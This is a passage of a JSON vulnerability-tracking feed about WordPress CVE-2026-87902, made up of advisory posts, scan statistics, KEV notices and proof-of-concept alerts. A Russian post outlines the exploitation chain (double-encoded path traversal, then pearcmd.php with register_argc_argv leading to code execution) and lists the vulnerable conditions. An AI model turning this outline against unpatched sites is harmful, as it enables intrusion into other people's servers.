\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0434\u0435\u043d\u044c \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430, \u0430 \u043c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0441\u0443\u0442\u043a\u0438 \u2014 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 PHP-\u0444\u0430\u0439\u043b\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 PEAR. \u0422\u0440\u0430\u0444\u0438\u043a \u0432\u044b\u0440\u043e\u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0432 \u0434\u0435\u0441\u044f\u0442\u044c \u0440\u0430\u0437, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 25 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0441\u043b\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 CISA KEV \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0412 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0442\u0435 \u0441\u0430\u0439\u0442\u044b, \u0433\u0434\u0435:\n\n\u2014 \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\u043b\u0438 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0442\u0435\u043c\u0435 \u0435\u0441\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0432\u0438\u0434\u0430 page-*, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 page-templates;\n\u2014 \u0432\u0435\u0431-\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0438\u0434\u0438\u0442 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 PHP-\u0444\u0430\u0439\u043b;\n\u2014 \u0434\u043b\u044f \u0432\u0435\u0431-SAPI \u0432\u043a\u043b\u044e\u0447\u0451\u043d register_argc_argv;\n\u2014 PHP-\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043c\u043e\u0436\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433.\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u2014 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e 7.1.2, 7.0.6 \u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441\u0432\u043e\u0435\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u0432\u0435\u0442\u043a\u0438. \u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 PEAR \u0438\u043b\u0438 register_argc_argv \u043b\u043e\u043c\u0430\u0435\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443, \u043d\u043e \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u043e\u0439 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, IoC, \u043f\u043e\u0438\u0441\u043a\u043e\u043c \u0441\u043b\u0435\u0434\u043e\u0432 \u0430\u0442\u0430\u043a\u0438, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0438 \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0443\u044e \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044e:\n\n\u2705 \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: https://eh.su/reports/cve-2026-87902-wordpress-lfi-rce\n\n#wordpress #cve #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #rce #infosec", "url": "https://t.me/critical_bug/1839"}, {"timestamp": "2026-09-29T16:54:53Z", "date_only": false, "value": "2026-09-29T16:54:53.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/critical_bug/1839", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "0d5958ba-4a8f-4f83-805b-08b4335922ca", "content": "\ud83d\udccdWordPress \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044e\u0442 \u0431\u0435\u0437 \u043b\u043e\u0433\u0438\u043d\u0430: \u0441\u0432\u0435\u0436\u0430\u044f CVE-2026-87902 \u0443\u0436\u0435 \u0434\u043e\u0431\u0440\u0430\u043b\u0430\u0441\u044c \u0434\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u043f\u0440\u0438 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0435\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c PHP-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0420\u0435\u0447\u044c \u043e CVE-2026-87902 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 9,2 \u0438\u0437 10 \u043f\u043e CVSS 4.0. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0435\u0440\u0441\u0438\u0438 WordPress \u043e\u0442 4.7.0 \u0434\u043e 7.1.1 \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0442\u043a\u0438 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435, \u0430 \u0432 \u0441\u0430\u043c\u043e\u043c WordPress Core \u2014 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0432\u044b\u0431\u043e\u0440\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0414\u0432\u0430\u0436\u0434\u044b \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u043f\u0443\u0442\u0438 \u043f\u0435\u0440\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u0440\u0430\u043d\u043d\u044e\u044e \u043e\u0447\u0438\u0441\u0442\u043a\u0443, \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0437\u0434\u043d\u0438\u0439 urldecode() \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0438\u0445 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 ../, \u0438 \u0434\u0432\u0438\u0436\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 PHP-\u0444\u0430\u0439\u043b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0442\u0435\u043c\u044b.\n\n\u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435: \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 pearcmd.php, \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u043c register_argc_argv \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 LFI \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 RCE. \u0423\u0447\u0451\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c, cookie, nonce, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0438 \u043a\u043b\u0438\u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435 \u043d\u0443\u0436\u043d\u044b.\n\n\u042d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u0442\u0435\u043e\u0440\u0438\u044f. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0434\u0435\u043d\u044c \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430, \u0430 \u043c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0441\u0443\u0442\u043a\u0438 \u2014 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 PHP-\u0444\u0430\u0439\u043b\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 PEAR. \u0422\u0440\u0430\u0444\u0438\u043a \u0432\u044b\u0440\u043e\u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0432 \u0434\u0435\u0441\u044f\u0442\u044c \u0440\u0430\u0437, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 25 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0441\u043b\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 CISA KEV \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0412 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0442\u0435 \u0441\u0430\u0439\u0442\u044b, \u0433\u0434\u0435:\n\n\u2014 \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\u043b\u0438 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0442\u0435\u043c\u0435 \u0435\u0441\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0432\u0438\u0434\u0430 page-*, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 page-templates;\n\u2014 \u0432\u0435\u0431-\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0438\u0434\u0438\u0442 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 PHP-\u0444\u0430\u0439\u043b;\n\u2014 \u0434\u043b\u044f \u0432\u0435\u0431-SAPI \u0432\u043a\u043b\u044e\u0447\u0451\u043d register_argc_argv;\n\u2014 PHP-\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043c\u043e\u0436\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433.\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u2014 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e 7.1.2, 7.0.6 \u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441\u0432\u043e\u0435\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u0432\u0435\u0442\u043a\u0438. \u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 PEAR \u0438\u043b\u0438 register_argc_argv \u043b\u043e\u043c\u0430\u0435\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443, \u043d\u043e \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u043e\u0439 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, IoC, \u043f\u043e\u0438\u0441\u043a\u043e\u043c \u0441\u043b\u0435\u0434\u043e\u0432 \u0430\u0442\u0430\u043a\u0438, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0438 \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0443\u044e \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044e:\n\n\u2705 \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: https://eh.su/reports/cve-2026-87902-wordpress-lfi-rce\n\n#wordpress #cve #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #rce #infosec", "url": "https://t.me/critical_bug/1839"}, {"timestamp": "2026-09-29T21:00:07Z", "date_only": false, "value": "2026-09-29T21:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103801", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8969e47b-14f8-4b01-9881-c74e2bc281ee", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tonydelouvre\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-29 20:25:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nXWP_RCE \u2014 CVE-2026-87902 Hacker Console\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103801"}, {"timestamp": "2026-09-30T07:20:32.609Z", "date_only": false, "value": "2026-09-30T07:20:32.609392Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwpsla5x6v2h", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "d18b7bc1-0374-4d9b-9f1b-562c356a3e24", "content": "Top 3 CVE for last 7 days:\nCVE-2026-88771: 93 interactions\nCVE-2026-88772: 93 interactions\nCVE-2026-87902: 42 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-88772: 32 interactions\nCVE-2026-88771: 20 interactions\nCVE-2026-86950: 14 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mwpsla5x6v2h"}, {"timestamp": "2026-09-30T09:00:04Z", "date_only": false, "value": "2026-09-30T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/R31KiNtxx4gbO13LGEgeHh2_HY7BxUCrKDTjGopAbUShYM4", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "00b3af00-0ae0-41f4-8dc7-f433838ef920"}, {"timestamp": "2026-09-30T09:00:04Z", "date_only": false, "value": "2026-09-30T09:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/R31KiNtxx4gbO13LGEgeHh2_HY7BxUCrKDTjGopAbUShYM4", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7e0d88d3-c37c-4cd4-82b2-ff1ff999e2ff"}, {"timestamp": "2026-09-30T14:16:24.114Z", "date_only": false, "value": "2026-09-30T14:16:24.114108Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mwrldhnyk227", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "e4bd2057-3447-4bc4-99f4-0602c57d1574", "content": "Wednesday's fuck up - now and again Wordpress - github.com/MRdark-ops/C... #redteam #exploit #critical #WP #wordpress #cve-2026-87902 #LFI #RCE", "url": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mwrldhnyk227"}, {"timestamp": "2026-09-30T16:41:12.311Z", "date_only": false, "value": "2026-09-30T16:41:12.311750Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mwqrvof2a32u", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "fb2283fb-c272-4cb8-97a4-bfb45e679c02", "content": "CrowdSec logged 30,813 IPs probing CVE-2026-87902 from Sep 23 to 27. Still active.\n\nUpdate to 7.1.2, or the patched release on your branch. Check for encoded pagename hits and PHP under /tmp.\n\nA plugin does not replace that update.\n\nwordpress.org/news/2026/09...", "url": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mwqrvof2a32u"}, {"timestamp": "2026-09-30T17:38:10.270Z", "date_only": false, "value": "2026-09-30T17:38:10.270015Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/giuseppesec.bsky.social/post/3mwqv3njvsk2a", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "e5ad1b11-f018-4ac4-917f-400754b52824", "content": "cve-2026-87902 is gonna be the new skid spray and pray payload for a while huh?", "url": "https://bsky.app/profile/giuseppesec.bsky.social/post/3mwqv3njvsk2a"}, {"timestamp": "2026-09-30T19:54:55.676Z", "date_only": false, "value": "2026-09-30T19:54:55.676337Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/devbytedaily.bsky.social/post/3mwr4q6vhcq2m", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "0c3af727-d9d4-4dae-a762-6680481156ae", "content": "WordPress 7.1 Update Problems CVE-2026-87902 Explained - https://devbytedaily.com/wordpress-7-1-update-problems/", "url": "https://bsky.app/profile/devbytedaily.bsky.social/post/3mwr4q6vhcq2m"}, {"timestamp": "2026-10-01T02:49:41.454Z", "date_only": false, "value": "2026-10-01T02:49:41.454789Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/saisosiouxme.bsky.social/post/3mwrtvpvujc24", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6071570f-82fa-4b4a-8e68-1d82d81af5ac", "content": "Information Only: \ud83d\udc26\u200d\u2b1b\n30,000 IPs are already probing for CVE-2026-87902, a critical WordPress flaw that simplifies remote code execution. If your site is unpatched, you're standing in traffic. Update now. The bots already know you. \ud83d\udea8\ud83d\udcbb", "url": "https://bsky.app/profile/saisosiouxme.bsky.social/post/3mwrtvpvujc24"}, {"timestamp": "2026-10-01T07:44:06.321Z", "date_only": false, "value": "2026-10-01T07:44:06.321403Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwseebqvih2r", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "d39572b1-365a-48a6-8174-900e6a9faed2", "content": "Top 3 CVE for last 7 days:\nCVE-2026-88771: 107 interactions\nCVE-2026-88772: 105 interactions\nCVE-2026-87902: 35 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-88771: 14 interactions\nCVE-2026-88772: 12 interactions\nCVE-2026-84782: 10 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mwseebqvih2r"}, {"timestamp": "2026-10-01T09:55:18.588Z", "date_only": false, "value": "2026-10-01T09:55:18.588Z", "kind": "other", "label": "Updated", "source": "bitnami_vulndb \u00b7 BIT-WORDPRESS-2026-87902", "record": "BIT-WORDPRESS-2026-87902", "field": "modified"}, {"timestamp": "2026-10-01T10:07:47.474Z", "date_only": false, "value": "2026-10-01T10:07:47.474645Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mwsmf7q73x24", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "5c694f64-80d5-4dcb-bbfd-2fac08bfe10a", "content": "(CISA TS+SOC) CVE-2026-87902 WORDPRESS CODE REMOTE FILE\u00a0INCLUSION\n\nActive exploitation of CVE-2026-87902 WordPress requires immediate patch deployment and forensic triage. Review integrated TSUITE + SOC intelligence assets....\n\nhttps://thecybermind.co/go2d", "url": "https://bsky.app/profile/thecybermind.co/post/3mwsmf7q73x24"}, {"timestamp": "2026-10-02T21:35:03.820Z", "date_only": false, "value": "2026-10-02T21:35:03.820092Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mwwdb3cdzk2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e9a362d0-ed19-425e-b28f-7986edaac8b0", "content": "The latest update for #Indusface includes \"#WordPress CVE-2026-87902: Unauthenticated RCE Exploited Within Hours\" and \"Next.js CVE-2026-94545: Critical ImageResponse Vulnerability Enables RCE via SVG\".\n \n#cybersecurity #infosec https://opsmtrs.com/3ySs2VF", "url": "https://bsky.app/profile/opsmatters.com/post/3mwwdb3cdzk2l"}, {"timestamp": "2026-10-03T15:20:06.068Z", "date_only": false, "value": "2026-10-03T15:20:06.068527Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/qiita-trending.bot.chrs.to/post/3mwy6riuygn2t", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c97b1ab7-fd17-44e6-a672-b382dbc34f80", "content": "WordPress 4.7\u301c7.1.1\u306b\u672a\u8a8d\u8a3c\u306e\u4e0d\u6b63\u8aad\u8fbc CVE-2026-87902\u2500\u25007.1.2\u66f4\u65b0\u3068\u653b\u6483\u75d5\u8de1\u306e\u78ba\u8a8d\n\n#WordPress #Security #cve #vulnerability #PHP", "url": "https://bsky.app/profile/qiita-trending.bot.chrs.to/post/3mwy6riuygn2t"}, {"timestamp": "2026-10-04T18:12:36.845Z", "date_only": false, "value": "2026-10-04T18:12:36.845923Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/csirts.com/post/3mx2yusgo252o", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "da09dea2-21d9-4bcb-b2bb-c37d784f3dd5", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-87902: WordPress Core Remote File Inclusion Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-87902", "url": "https://bsky.app/profile/csirts.com/post/3mx2yusgo252o"}, {"timestamp": "2026-10-06T16:47:40.963Z", "date_only": false, "value": "2026-10-06T16:47:40.963484Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mx7v2vkh5t2y", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e2f0ad69-8617-453a-a584-00364f675517", "content": "CVE-2026-87902 is still on CISA KEV. Federal due date was Sep 28.\n\nConfirm WordPress 7.1.2 (or your branch backport).\nwordpress.org/news/2026/09...", "url": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mx7v2vkh5t2y"}, {"timestamp": "2026-10-07T15:00:07Z", "date_only": false, "value": "2026-10-07T15:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/6OOuFVaJx7USmfUtyzJSeis-M0BV3fUbad2_gnygQ71m6lM", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "b6022c47-bd0d-441f-90b4-a663e4827842"}, {"timestamp": "2026-10-07T15:00:07Z", "date_only": false, "value": "2026-10-07T15:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": 